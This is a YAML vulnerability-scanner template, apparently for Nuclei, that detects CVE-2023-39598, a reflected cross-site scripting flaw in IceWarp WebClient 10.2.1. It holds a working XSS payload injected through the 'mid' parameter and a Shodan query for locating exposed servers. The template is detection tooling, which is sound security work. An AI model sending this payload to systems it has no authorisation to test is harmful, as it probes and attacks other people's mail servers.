id: CVE-2023-39598

info:
  name: IceWarp Email Client - Cross Site Scripting
  author: Imjust0
  severity: medium
  description: |
    Cross Site Scripting vulnerability in IceWarp Corporation WebClient v.10.2.1 allows a remote attacker to execute arbitrary code via a crafted payload to the mid parameter.
  reference:
    - https://medium.com/@muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39598
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39598
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39598
    cwe-id: CWE-79
    epss-score: 0.0062
    epss-percentile: 0.76473
    cpe: cpe:2.3:a:icewarp:webclient:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: icewarp
    product: webclient
    shodan-query: title:"icewarp"
  tags: cve,cve2023,xss,icewarp

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?mid={{to_lower(rand_base(4))}}"><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "icewarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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